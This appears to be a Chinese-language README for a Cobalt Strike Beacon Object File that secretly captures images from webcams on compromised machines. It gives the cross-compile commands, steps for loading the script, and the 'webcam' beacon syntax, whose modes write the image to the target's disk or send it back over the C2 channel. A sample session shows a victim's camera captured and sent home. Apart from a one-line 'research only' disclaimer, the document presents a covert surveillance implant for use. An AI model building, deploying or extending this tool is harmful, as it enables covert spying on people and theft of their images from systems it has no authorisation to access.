Cobalt Strike 环境下的内网摄像头隐蔽捕获模块 (Beacon Object File)。
本仓库基于原有实现进行了核心算法与内存架构的重构,解决了原版在特定环境下的稳定性与画质问题。
- 分辨率自适应探测:移除了硬编码的默认媒体类型探测。引入底层
MFEnumDeviceSources枚举流,实时计算分配最大硬件支持分辨率(支持 1080P/4K)。 - 重定位劫持修复 (COFF):由于 x64 架构下 Beacon COFF Loader 偶尔对未导出指针造成地址截断,重构去除了静态代理数组,全量改写为纯动态环境下的
IsEqualGUID函数分配机制。 - 传感器指令校准:原版代码由于抢占读取,在 CMOS 自动曝光调节前会捕获到绿屏或废帧。现实现丢帧预热机制 (
dropFrames=15),等待硬件完成白平衡状态同步。 - 色度空间转换边界防溢出:修正了
TransformImage_NV12的位运算逻辑漏洞。原版对负值亮度的右移操作会导致整型溢出,现已采用带边界限制的安全除法模块替代,解决暗部伪彩现象。
执行交叉编译,产出物将生成在 WebcamBOF 目录中:
# 64位 Beacon 模块
x86_64-w64-mingw32-gcc -o WebcamBOF/WebcamBOF.x64.obj -I .common -Os -fno-weak -fno-function-sections -fno-inline -fno-common -fno-data-sections -w -c entry.c -DBOF
# 32位 Beacon 模块
i686-w64-mingw32-gcc -o WebcamBOF/WebcamBOF.x86.obj -I .common -Os -fno-weak -fno-function-sections -fno-inline -fno-common -fno-data-sections -w -c entry.c -DBOF- 在 Cobalt Strike (Script Manager) 导入脚本:
WebcamBOF/webcamBOF.cna - 在目标 Beacon 终端中直接调用:
语法:
webcam <文件保存名> <回传通道配置>
协议通道配置:
0: 图像落盘(在目标主机当前工作目录写入文件)1: Beacon 静态文件下载(不落盘通信)2: Beacon 隐蔽截屏通道(直接在控制台流式渲染)
交互示例:
beacon> webcam target_cam.jpeg 2
[*] Running Webcam by Y3X1L2
[+] host called home, sent: 35817 bytes
[*] Initializing webcam
[*] Device 0: HP 320 FHD Webcam
[*] Capturing image data
[*] Downloading JPEG over beacon as a screenshot
[*] received screenshot of Webcam from Admin (328kb)
核心架构实现。 部分逆向逻辑及组件参考:
- @codex_tf2: 提供了最初始版
WebcamBOF相关的灵感与最初原型模板。 - @CCob (BOF.NET): 信道协议逆向与 BeaconOutput 内存回传文档。
- WebCam 媒体流编码: https://github.com/OV2/WebcamImage
- 内存下载协议: https://github.com/anthemtotheego/CredBandit
- GDI+ Jpeg解析: https://github.com/WKL-Sec/HiddenDesktop
提供研究目的。严禁将其用于未授权的入侵与攻击行为。